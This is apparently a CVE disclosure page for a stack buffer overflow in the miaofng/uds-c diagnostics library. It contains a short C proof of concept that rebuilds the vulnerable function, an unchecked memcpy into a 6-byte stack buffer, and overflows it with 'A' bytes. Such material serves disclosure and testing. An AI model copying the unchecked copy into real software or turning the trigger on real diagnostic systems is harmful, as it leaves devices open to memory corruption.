CVE-2026-37536 miaofng/uds-c 栈缓冲区溢出漏洞

#include <stdio.h> #include <string.h> #include <stdint.h> // Simulated vulnerable function based on CVE description #define MAX_DIAGNOSTIC_PAYLOAD_SIZE 6 void send_diagnostic_request(uint8_t pid_length, uint8_t *payload, uint8_t payload_length) { uint8_t buffer[MAX_DIAGNOSTIC_PAYLOAD_SIZE]; // Vulnerability: No bounds check on payload_length before memcpy // Offset: 1 + pid_length memcpy(&buffer[1 + pid_length], payload, payload_length); } int main() { // Setup parameters to trigger overflow // MAX_UDS_REQUEST_PAYLOAD_LENGTH is defined as 7 in the original code uint8_t pid_len = 2; uint8_t malicious_payload[7]; // Fill payload with 'A' (0x41) memset(malicious_payload, 0x41, sizeof(malicious_payload)); printf("[*] Triggering CVE-2026-37536 Stack Buffer Overflow...\n"); printf("[*] Writing %d bytes to buffer of size %d at offset %d\n", sizeof(malicious_payload), MAX_DIAGNOSTIC_PAYLOAD_SIZE, 1 + pid_len); printf("[*] Total write size: %d bytes (Overflow: %d bytes)\n", 1 + pid_len + sizeof(malicious_payload), (1 + pid_len + sizeof(malicious_payload)) - MAX_DIAGNOSTIC_PAYLOAD_SIZE); send_diagnostic_request(pid_len, malicious_payload, sizeof(malicious_payload)); printf("[*] Exploit payload sent.\n"); return 0; }